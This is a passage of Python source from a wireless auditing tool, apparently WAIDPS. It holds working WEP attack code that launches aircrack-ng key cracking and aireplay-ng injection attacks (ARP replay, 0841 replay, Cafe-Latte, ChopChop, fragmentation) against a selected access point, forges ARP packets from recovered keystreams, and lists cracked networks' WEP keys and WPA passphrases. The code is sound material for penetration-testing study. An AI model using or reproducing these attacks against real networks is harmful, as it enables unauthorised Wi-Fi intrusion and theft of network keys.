        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP [Enabled Last Keybyte Bruteforce]' -e 'aircrack-ng -a 1 -x1 -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="CRACK_WEPX2":
        WEPAttack="2"
        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP [Enabled Last 2 Keybytes Bruteforce]' -e 'aircrack-ng -a 1 -x2 -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="CRACK_WEPDecloak":
        WEPAttack="2"
        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP [Decloak Mode]' -e 'aircrack-ng -a 1 -D -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="ARP_1":
        WEPAttack="1"
        WEP_METHOD="ARP Request Replay"
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -3 -b " + str(__builtin__.ATTACK_AP_BSSID) + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_ARPRESULT.txt" + "' "
    if Mode=="0841_1":
        WEPAttack="1"
        WEP_METHOD="Interactive Natural Replay"
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -2 -b " + str(__builtin__.ATTACK_AP_BSSID)  + " -t 1 -F " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_REPLAY_1.txt" + "' "   # "| tee " + FName + "_REPLAY_
    if Mode=="0841_2":
        WEPAttack="1"
        WEP_METHOD="Interactive 0841 Replay (Modified)"
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -t 1 -x 600 -F -b " + str(__builtin__.ATTACK_AP_BSSID)  + " " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_REPLAY_2.txt" + "' "
    if Mode=="0841_3":
        WEPAttack="1"
        WEP_METHOD="Interactive 0841 Replay (Rebroadcast)"
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -F -b " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_REPLAY_3.txt" + "' "
    if Mode=="0841_4":
        WEPAttack="1"
        WEP_METHOD="Interactive 0841 Replay (68/86 ARP AP<->STA)"
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " STA >" + " Method' -e 'aireplay-ng -2 -p 0841 -m 68 -n 86 -t 1 -f 0 -c ff:ff:ff:ff:ff:ff -F -b " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_REPLAY_4A.txt" + "' "
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
        __builtin__.ProcID=ps.pid
        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " AP >" + " Method' -e 'aireplay-ng -2 -p 0841 -m 68 -n 86 -f 1 -c ff:ff:ff:ff:ff:ff -F -b " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_REPLAY_4B.txt" + "' "
    if Mode=="0841_5":
        WEPAttack="1"
        WEP_METHOD="Interactive 0841 Replay (Send Beacon)"
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -2 -p 0841 -v 8 -u 0 -w 0 -F -b " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_REPLAY_5.txt" + "' "
    if Mode=="0841_6":
        WEPAttack="1"
        WEP_METHOD="Interactive 0841 Replay (Clear-To-Send)"
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -2 -p 0841 -v 12 -u 1 -w 0 -m 10 -n 2000 -F -b " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_REPLAY_6.txt" + "' "
    if Mode=="CAFE":
        WEPAttack="1"
        WEP_METHOD="Cafe-Latte"
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -6 -D -b " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_CAFE.txt" + "' "
    if Mode=="CCR":
        WEPAttack="1"
        WEP_METHOD="Interactive ARP Replay (Generated ARP)"
        cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -2 -r " + str(ARPFile) + " -F " + str(__builtin__.SELECTED_ATK) + " | tee " + FName + "_ChopchopReplay.txt" + "' "
    if Mode=="KCC":
        WEPAttack="1"
        WEP_METHOD="KoreK ChopChop (Require Client)"
        OutFile=FName + "_KorekChopChop.txt"
        DelFile (OutFile,"")
        __builtin__.SavedDecrypted=savedir + "DecryptedARP_" + str(__builtin__.ATTACK_AP_BSSID).replace(":","") + ".cap"
        __builtin__.SavedKeyStream=savedir + "Keystream_" + str(__builtin__.ATTACK_AP_BSSID).replace(":","") + ".xor"
        if IsFileDirExist(__builtin__.SavedDecrypted)=="F" and IsFileDirExist(__builtin__.SavedKeyStream)=="F":
            printc ("i",fcolor.BGreen + "A previous decrypted ARP file and keystream was found.","")
            printc (" ",fcolor.BGreen + "You do not need to regenerate a new keystream again.","")
            usr_resp=AskQuestion("Proceed to use this ?","Y/n","U","Y","1")
            if usr_resp=="Y":
                printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Using Decrypted ARP Parket " + fcolor.BWhite + str(__builtin__.SavedDecrypted) + "\n"  ,"0","")
                printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Getting ARP Detail...."  ,"1","")
                ps=subprocess.Popen("tcpdump -s 0 -n -e -r " + str(__builtin__.SavedDecrypted) + " | grep -i 'who-has' > " + tmpdir + "tempoutput", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
                ps.wait();ps.stdout.close()
                DecryptedIP=""
                DecryptedGW=""
                if IsFileDirExist(tmpdir + "tempoutput")=="F":
                    with open(tmpdir + "tempoutput","r") as f:
                        for line in f:
                            line=line.replace("\n","").replace("\r","")
                            loc=str(line).find("who-has")
                            if loc!=-1:
                                loc=loc+8
                                sdata=str(line)[loc:].lstrip().rstrip()
                                tdata=[]
                                tdata=str(sdata).split(" ")
                                DecryptedIP=tdata[0]
                                DecryptedGW=str(tdata[2]).replace(",","")
                                printl (fcolor.BGreen + "Done...\n" ,"1","")
                                printc (" ", fcolor.SGreen + "Decrypted IP Addr   : " + fcolor.BYellow + str(DecryptedIP),"")
                                printc (" ", fcolor.SGreen + "Decrypted Gateway   : " + fcolor.BYellow + str(DecryptedGW) + "\n","")
                        if str(DecryptedGW)=="":
                            printl (fcolor.BRed + "Failed !!\n" ,"1","")
                else:
                    printl (fcolor.BRed + "Failed !!\n" ,"1","")
                printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Using Keystream (XOR) packet : " + fcolor.BWhite + str(__builtin__.SavedKeyStream) + "\n"  ,"0","")
                if DecryptedIP=="":
                    DecryptedIP="192.168.0.100"
                if DecryptedGW=="":
                    DecryptedGW="192.168.0.1"
                printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Forging ARP Packet with IP as " + fcolor.BYellow + DecryptedIP + fcolor.SGreen + " and Gateway as " + fcolor.BYellow + DecryptedGW + fcolor.SGreen + " ...."  ,"1","")
                ARPChopFile=tmpdir + "Chopchop.cap"   
                cmd="packetforge-ng -0 -a " + __builtin__.ATTACK_AP_BSSID + " -h " +  str(__builtin__.SELECTED_ATK_MAC) + " -k " + str(DecryptedIP) + " -l " + str(DecryptedGW) + " -y " + str(__builtin__.SavedKeyStream) + " -w " + ARPChopFile
                ps=subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
                ps.wait();ps.stdout.close()
                if IsFileDirExist(ARPChopFile)=="F":
                    printl (fcolor.BGreen + "Done...\n" ,"1","")
                    __builtin__.WEP_ARPFILELIST=AddIfNotDuplicate(ARPChopFile,__builtin__.WEP_ARPFILELIST)
                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Chopchop ARP replay packet saved in " + fcolor.BWhite + str(ARPChopFile) + "\n"  ,"0","")
                    __builtin__.ProcID=WEPAttackMode("CCR",FName,ARPChopFile,"1")
                    __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    Skip="1"
                    return 0
                else:
                    ARPChopFile=""
                    printl (fcolor.BRed + "Failed !!\n" ,"1","") 
        if Skip=="":
            __builtin__.ProcID=WEPAttackMode("AAPC",FName,"","1")
            __builtin__.ProcIDList.append (str(__builtin__.ProcID))
            cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -4 -F -m 60 -n 82 -b " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + OutFile + "' "
            __builtin__.ProcChopChop=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
            __builtin__.ProcIDList.append (str(__builtin__.ProcChopChop.pid))
            printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink +    "Auditing Access Point [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BPink + " ] using [ " + fcolor.BRed + str(WEP_METHOD) + fcolor.BPink + " ] method...","")
            return __builtin__.ProcChopChop
    if Mode=="FRAG":
        WEPAttack="1"
        WEP_METHOD="Fragmentation (Require Client)"
        OutFile=FName + "_Fragmentation.txt"
        DelFile (OutFile,"")
        __builtin__.SavedKeyStream=savedir + "Fragment_" + str(__builtin__.ATTACK_AP_BSSID).replace(":","") + ".xor"
        if IsFileDirExist(__builtin__.SavedKeyStream)=="F":
            printc ("i",fcolor.BGreen + "A previous keystream was found.","")
            printc (" ",fcolor.BGreen + "You do not need to regenerate a new keystream again.","")
            usr_resp=AskQuestion("Proceed to use this ?","Y/n","U","Y","1")
            if usr_resp=="Y":
                printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Using Keystream (XOR) packet : " + fcolor.BWhite + str(__builtin__.SavedKeyStream) + "\n"  ,"0","")
                printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Forging ARP Packet with IP as " + fcolor.BYellow + "255.255.255.255" + fcolor.SGreen + " and Gateway as " + fcolor.BYellow + "255.255.255.255" + fcolor.SGreen + " ...."  ,"1","")
                FragFile=tmpdir + "PRGA.cap"   
                cmd="packetforge-ng -0 -a " + __builtin__.ATTACK_AP_BSSID + " -h " +  str(__builtin__.SELECTED_ATK_MAC) + " -k " + "255.255.255.255" + " -l " + "255.255.255.255" + " -y " + str(__builtin__.SavedKeyStream) + " -w " + FragFile
                ps=subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
                ps.wait();ps.stdout.close()
                if IsFileDirExist(FragFile)=="F":
                    printl (fcolor.BGreen + "Done...\n" ,"1","")
                    __builtin__.WEP_ARPFILELIST=AddIfNotDuplicate(FragFile,__builtin__.WEP_ARPFILELIST)
                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Fragmentation ARP replay packet saved in " + fcolor.BWhite + str(FragFile) + "\n"  ,"0","")
                    __builtin__.ProcID=WEPAttackMode("CCR",FName,FragFile,"1")
                    __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    Skip="1"
                    return 0
                else:
                    FragFile=""
                    printl (fcolor.BRed + "Failed !!\n" ,"1","") 
        if Skip=="":
            __builtin__.ProcID=WEPAttackMode("AAPC",FName,"","1")
            __builtin__.ProcIDList.append (str(__builtin__.ProcID))
            cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -5 -F -m 100 -b " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + OutFile + "' "
            __builtin__.ProcFrag=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
            __builtin__.ProcIDList.append (str(__builtin__.ProcFrag.pid))
            printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink +    "Auditing Access Point [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BPink + " ] using [ " + fcolor.BRed + str(WEP_METHOD) + fcolor.BPink + " ] method...","")
            return __builtin__.ProcFrag
    if Mode=="ARP_2" or Mode=="IA_ARP_REPLAY":
        if Mode=="ARP_2":
            WEP_METHOD="ARP Request Replay (ARP File)"
        if Mode=="IA_ARP_REPLAY":
            WEP_METHOD="Interactive ARP Request Replay (ARP File)"
        if len(__builtin__.WEP_ARPFILELIST)>0:
            DisplayARPFileList()
            if len(__builtin__.WEP_ARPFILELIST)==1:
                if IsFileDirExist(tmpdir + str(__builtin__.WEP_ARPFILELIST[0]))=="F":
                    ARPFileUse=__builtin__.WEP_ARPFILELIST[0]
            else:
                usr_resp=AskQuestion("Enter the file to use","","","","1")
                if usr_resp!="":
                    if IsFileDirExist(tmpdir + usr_resp)=="F":
                        ARPFileUse=tmpdir + usr_resp
                    else:
                        printc ("!",fcolor.SRed + "File [ " + tmpdir + usr_resp + " ] not found !","")
            print ""
            if ARPFileUse!="":
                WEPAttack="1"
                if Mode=="ARP_2":
                    cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -3 -b " + str(__builtin__.ATTACK_AP_BSSID) + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " -r " + str(ARPFileUse) + " " + str(__builtin__.SELECTED_ATK) + "'"
                if Mode=="IA_ARP_REPLAY":
                    cmdLine="xterm -geometry 100x5-0-120 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing Using " + str(WEP_METHOD) + " Method' -e 'aireplay-ng -2 -F -r " + str(ARPFileUse) + " " + str(__builtin__.SELECTED_ATK) + "'"
        else:
            printc ("!",fcolor.SRed + "No ARP file found !","")
            
    if WEPAttack!="":
        if ToDisplay=="1":
            if WEPAttack=="1":
                printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink +    "Auditing Access Point [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BPink + " ] using [ " + fcolor.BRed + str(WEP_METHOD) + fcolor.BPink + " ] method...","")
                if ARPFileUse!="":
                     printc (" " , "                      " + fcolor.SWhite + "Selected File to use  : " + str(ARPFileUse) + "\n" ,"")
            if WEPAttack=="2":
                printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink +    str(WEP_METHOD) + " on Access Point [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BPink + " ]...","")
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
        __builtin__.ProcID=ps.pid
    __builtin__.ProcIDList.append (str(__builtin__.ProcID))
    return __builtin__.ProcID

def CheckWPSLog(WBSSID):
    line1="";line2="";line3=""
    l=1
    ReaverLog=ReaverPath + str(WBSSID) + ".wpc"
    if IsFileDirExist(ReaverLog)=="F":
        with open(ReaverLog,"r") as f:
            for line in f:
                if l==1:
                    line1=str(line).replace("\n","")
                if l==2:
                    line2=str(line).replace("\n","")
                if l==3:
                    line3=str(line).replace("\n","")
                l += 1
                if l>3:
                    f.close()
                    return str(line1) + ", " + str(line2) + ", " + str(line3)
                    continue
    return ""

def DisplayAPDetail():
    if __builtin__.ATTACK_AP_BSSID=="" or __builtin__.ATTACK_AP_FS=="":
        print ""
        printc ("!!!","Waiting for information.... please wait...","")
        return
    OUI=Check_OUI(__builtin__.ATTACK_AP_BSSID,"")
    WBSSID=str(__builtin__.ATTACK_AP_BSSID).replace(":","")
    CRACKED=""
    CRACKED=CheckCrackingStatus(__builtin__.ATTACK_AP_BSSID)
    if str(CRACKED)!="":
        if str(CRACKED).find("[Cracked]")!=-1:
            CRACKED=str(CRACKED).replace("[Cracked]",fcolor.BRed + "[Cracked]" + fcolor.SWhite)
        else:
            CRACKED=""
    AP_ACTIVE=fcolor.BBlack + "Idle   "
    BC_ACTIVE="Idle   "
    if str(__builtin__.ATTACK_AP_PDATA)=="":
        __builtin__.ATTACK_AP_PDATA=str(__builtin__.ATTACK_AP_DATA).lstrip().rstrip()
    if __builtin__.ATTACK_AP_PDATA!=str(__builtin__.ATTACK_AP_DATA).lstrip().rstrip():
        __builtin__.ATTACK_AP_PDATA=str(__builtin__.ATTACK_AP_DATA).lstrip().rstrip()
        AP_ACTIVE=fcolor.BRed + "Active "
    if str(__builtin__.ATTACK_AP_PBEACON)=="":
        __builtin__.ATTACK_AP_PBEACON=str(__builtin__.ATTACK_AP_BEACON).lstrip().rstrip()
    if __builtin__.ATTACK_AP_PBEACON!=str(__builtin__.ATTACK_AP_BEACON).lstrip().rstrip():
        __builtin__.ATTACK_AP_PBEACON=str(__builtin__.ATTACK_AP_BEACON).lstrip().rstrip()
        BC_ACTIVE="Active "
    BC_DATA= str(__builtin__.ATTACK_AP_BEACON).lstrip().rstrip() + " " + str(BC_ACTIVE)
    BC_DATA=str(BC_DATA).ljust(14) + " "
    BC_DATA=str(BC_DATA).replace("Idle",fcolor.BBlack + "Idle").replace("Active",fcolor.BRed + "Active")
    printc (".", txtColor + "BSSID      : " + fcolor.BPink + str(__builtin__.ATTACK_AP_BSSID) + "\t\t" + txtColor + "  MAC OUI   : " + fcolor.BCyan + str(OUI),"")
    printc (" ", txtColor + "ESSID      : " + fcolor.BYellow + str(__builtin__.ATTACK_AP_ESSID.lstrip()),"")
    printc (" ", txtColor + "Encryption : " + StdColor + str(__builtin__.ATTACK_AP_PRIVACY).lstrip() + txtColor + " / " + StdColor + str(__builtin__.ATTACK_AP_CIPHER) + txtColor + " / "+ StdColor + str(__builtin__.ATTACK_AP_AUTH) + "\t\t " + fcolor.BRed + str(CRACKED) ,"")
    printc (" ", txtColor + "Channel    : " + StdColor + str(__builtin__.ATTACK_AP_CH) + txtColor + "\t\t\t\t  Power     : " + StdColor + str(__builtin__.ATTACK_AP_PWR).lstrip().rstrip() + " dBm" + txtColor + "\t\t     Beacons : " + StdColor + str(BC_DATA) + txtColor + "\tData    : " + StdColor + str(__builtin__.ATTACK_AP_DATA).lstrip().rstrip() + " " + AP_ACTIVE  + "","")
    Elapse=CalculateTime (str(__builtin__.ATTACK_AP_LS).lstrip().rstrip(),str(__builtin__.ATTACK_AP_LS).lstrip().rstrip())
    printc (" ", txtColor + "First Seen : " + StdColor + str(__builtin__.ATTACK_AP_FS).lstrip().rstrip() + txtColor + "\t\t  Last Seen : " + StdColor + str(__builtin__.ATTACK_AP_LS).lstrip().rstrip() + txtColor + "    Seen    : " + StdColor + str(__builtin__.TimeGapFull) + " ago" + txtColor + "\tClients : " + StdColor + str(len(__builtin__.CUR_CLIENT)),"")
    IFACE_MAC=GetMyMAC(__builtin__.SELECTED_IFACE)
    OUI=Check_OUI(IFACE_MAC,"")
    printc (" ", txtColor + "Interface  : " + StdColor + str(__builtin__.SELECTED_IFACE) + txtColor + "\t[ " + fcolor.SRed + str(IFACE_MAC) + txtColor + " ]   OUI : " + fcolor.SCyan + str(OUI),"")
    MON_MAC=GetMyMAC(__builtin__.SELECTED_MON)
    OUI=Check_OUI(MON_MAC,"")
    printc (" ", txtColor + "Monitor    : " + StdColor + str(__builtin__.SELECTED_MON) + txtColor + "\t[ " + fcolor.SRed + str(MON_MAC) + txtColor + " ]   OUI : " + fcolor.SCyan + str(OUI),"")
    ATK_MAC=GetMyMAC(__builtin__.SELECTED_ATK)
    OUI=Check_OUI(ATK_MAC,"")
    printc (" ", txtColor + "ATK IFace  : " + StdColor + str(__builtin__.SELECTED_ATK) + txtColor + "\t[ " + fcolor.SRed + str(ATK_MAC) + txtColor + " ]   OUI : " + fcolor.SCyan + str(OUI),"")
    FS=""
    if IsFileDirExist(__builtin__.MONLogfile)=="F": 
        GetFileDetail(__builtin__.MONLogfile)
        FS=fcolor.SWhite + "   [Size : " + str(__builtin__.FileSize) + " ]"
        printc (" ", txtColor + "Monitor Log: " + fcolor.SBlue + str(__builtin__.MONLogfile)+ fcolor.SBlack + str(FS),"")
    FS="";__builtin__.CapFileSize="";DCapFile=fcolor.BBlack + "No captured file."
    if IsFileDirExist(__builtin__.CapFile)=="F": 
        statinfo = os.stat(__builtin__.CapFile)
        __builtin__.CapFileSize=statinfo.st_size 
        GetFileDetail(__builtin__.CapFile)
        FS=fcolor.SWhite + "   [Size : " + str(__builtin__.FileSize) + " ]"
        DCapFile=__builtin__.CapFile
    elif IsFileDirExist(tmpdir + "tmp-capture-01.cap")=="F": 
        statinfo = os.stat(tmpdir + "tmp-capture-01.cap")
        __builtin__.CapFileSize=statinfo.st_size 
        GetFileDetail(tmpdir + "tmp-capture-01.cap")
        FS=fcolor.SWhite + "   [Size : " + str(__builtin__.FileSize) + " ]"
        DCapFile=tmpdir + "tmp-capture-01.cap"
    printc (" ", txtColor + "Cap File   : " + fcolor.SBlue + str(DCapFile)+ fcolor.SBlack + str(FS),"")
    if __builtin__.HS_FileFull!="":
        if IsFileDirExist(__builtin__.HS_FileFull)=="F": 
            statinfo = os.stat(__builtin__.HS_FileFull)
            __builtin__.CapFileSize=statinfo.st_size 
            GetFileDetail(__builtin__.HS_FileFull)
            FS=fcolor.SWhite + "   [Size : " + str(__builtin__.FileSize) + " ]"
            printc (" ", txtColor + "Handshake  : " + fcolor.SBlue + str(__builtin__.HS_FileFull)+ fcolor.SBlack + str(FS) + fcolor.SYellow + "  Non-Strict","")
    ReaverLog=ReaverPath + str(WBSSID) + ".wpc"
    if IsFileDirExist(ReaverLog)=="F":
        Result=CheckWPSLog (WBSSID)
        printc (" ", txtColor + "WPS Log    : " + fcolor.SBlue + str(ReaverLog) + fcolor.SWhite + "   [ Pos : " + fcolor.SBlack + str(Result) + fcolor.SWhite + " ]","")
    SIGNALBAR=0    
    if str(__builtin__.ATTACK_AP_PWR).lstrip().rstrip()[:1]=="-":
        SIGNAL=str(__builtin__.ATTACK_AP_PWR).lstrip().rstrip()[1:]
    else:
        SIGNAL=str(__builtin__.ATTACK_AP_PWR).lstrip().rstrip()
    if SIGNAL!="127" and SIGNAL!="1" and SIGNAL!="" and SIGNAL.isdigit()==True:
        SIGNALBAR=int(100 - int(SIGNAL))/2
    
    BarColor=fcolor.BGIGreen
    if SIGNAL!="" and SIGNAL.isdigit()==True:
        if int(SIGNAL)>65:
            BarColor=fcolor.BGIYellow
        if int(SIGNAL)>79:
            BarColor=fcolor.BGIRed
        DText=DisplayBar("Signal     : ", " ", SIGNALBAR,__builtin__.ATTACK_AP_PWR + " dBm [ " + str(100 - int(SIGNAL)) + " % ]" , 80, fcolor.SGreen, BarColor, fcolor.BWhite)
        print tabspacefull + DText
    DrawLine("^",fcolor.CReset + fcolor.Black,"","")

def DisplayARPFileList():
    if len(__builtin__.WEP_ARPFILELIST)>0:
        cl=0
        fct=0
        GoodBad=""
        printc ("i",fcolor.BBlue + "List of saved ARP files.","")
       
        while cl<len(__builtin__.WEP_ARPFILELIST):
            if IsFileDirExist(tmpdir + __builtin__.WEP_ARPFILELIST[cl])=="F":
                GetFileDetail(tmpdir + __builtin__.WEP_ARPFILELIST[cl])
                if int(__builtin__.FileSizeB)<600:
                    GoodBad="Bad"
                else:
                    GoodBad=""
                FName=str(__builtin__.WEP_ARPFILELIST[cl]).replace(tmpdir,"")
                printc(" ",fcolor.SGreen + str(FName) + "\t" + fcolor.SWhite + str(__builtin__.FileModified) + "\t" + str(__builtin__.FileSize) + "\t" + str(GoodBad), "")
                fct = fct + 1
            cl = cl+1
        print ""
        printc ("i",fcolor.BWhite + "Total " + fcolor.BRed + str(fct) + fcolor.BWhite + " file(s) listed.","")
    else:
        printc ("!",fcolor.SRed + "No saved ARP file found !!","")
        print "";

def CheckARPFile(ARPFile):
    Result=""
    if IsFileDirExist(ARPFile)=="F":
        with open(ARPFile,"r") as f:
            for line in f:
                line=line.replace("\n","").replace("\00","")
                if str(line).find("Saving ARP requests in")!=-1 or str(line).find("Saving chosen packet in")!=-1:
                    Cat=str(line).split(" ")
                    if len(Cat)>4:
                         Result=str(Cat[4])
                         if Result!="":
                             if IsFileDirExist(tmpdir + Result)=="F":
                                 __builtin__.WEP_ARPFILELIST=AddIfNotDuplicate(Result,__builtin__.WEP_ARPFILELIST)
                             DelFile (ARPFile,"")
    return Result
    

def ShutDownAuditingWindows():
    Search="WAIDPS - Auditing"
    KillProc(Search)
    Search="WAIDPS - Associating"
    KillProc(Search)
    Search="WAIDPS - Cracking"
    KillProc(Search)
    Search="WAIDPS - Sniffing"
    KillProc(Search)
    KillAllProcList()

def DisplayCrackDB():
    WPACt=0
    WEPCt=0
    WPSCt=0
    OPNCt=0
    print fcolor.BBlue + "List of Cracked Access Point"
    print ""
    if IsFileDirExist(CrackDB)=="F":
        FoundRec=0
        with open(CrackDB,"r") as f:
            for line in f:
                line=line.replace("\n","").replace("\00","")
                tabstr=";"
                if line!="":
                    tmpline=str(line).split(";")
                    tmpBSSID=str(tmpline[0])
                    tmpEnc=str(tmpline[1])
                    tmpEncKey=str(tmpline[2])
                    tmpESSID=str(tmpline[3])
                    tmpHSFILE=str(tmpline[4])
                    tmpWPS=str(tmpline[5])
                    tmpDate="-"
                    if len(tmpline)>6:
                        tmpDate=str(tmpline[6])
                    OUI=Check_OUI(tmpBSSID,"")
                    if tmpBSSID!="BSSID":
                        FoundRec=FoundRec+1
                        print fcolor.BWhite + str(FoundRec) + fcolor.SGreen + "]\t" + fcolor.BRed + "Access Point MAC   " + fcolor.SGreen + ": " + fcolor.BYellow + str(tmpBSSID) 
                        printc (" ", fcolor.SGreen + "  ESSID              : " + fcolor.BPink + str(tmpESSID) + fcolor.SGreen,"")
                        printc (" ", fcolor.SGreen + "  Manufacturer       : " + fcolor.BCyan + str(OUI) + fcolor.SGreen,"")
                        printc (" ", fcolor.SGreen + "  Encryption Type    : " + fcolor.BYellow + str(tmpEnc) ,"")
                        if str(tmpEnc).find("WEP")!=-1:
                            WEPCt=WEPCt+1
                            result=ConvertHex(tmpEncKey)
                            printc (" ", fcolor.SGreen + "  Hexadecimal        : " + fcolor.BYellow + str(__builtin__.STR_HEXCOLON) + fcolor.SGreen + " / " + fcolor.BYellow + str(__builtin__.STR_HEX) + fcolor.SGreen + " [ "  + fcolor.SWhite + str(__builtin__.STR_LENHEX) + " Hexadecimal / " + str(__builtin__.STR_BIT) + " Bits" + fcolor.SGreen + " ]","")
                            printc (" ", fcolor.SGreen + "  Characters         : " + fcolor.BRed + str(__builtin__.STR_CHR) + fcolor.SGreen + fcolor.SGreen + " [ "  + fcolor.SWhite + str(__builtin__.STR_LEN) + " Characters" + fcolor.SGreen + " ]","")
                        elif str(tmpEnc).find("WPA")!=-1:
                            WPACt=WPACt+1
                            printc (" ", fcolor.SGreen + "  WPA Pre-Shared Key : " + fcolor.BRed + str(tmpEncKey) + fcolor.SGreen + fcolor.SGreen + " [ "  + fcolor.SWhite + str(len(tmpEncKey)) + " Characters" + fcolor.SGreen + " ]","")
                            printc (" ", fcolor.SGreen + "  Handshake File     : " + fcolor.BYellow + str(tmpHSFILE),"")
                        else:
                            OPNCt=OPNCt+1
                        if str(tmpWPS)!="":
                            WPSCt=WPSCt+1
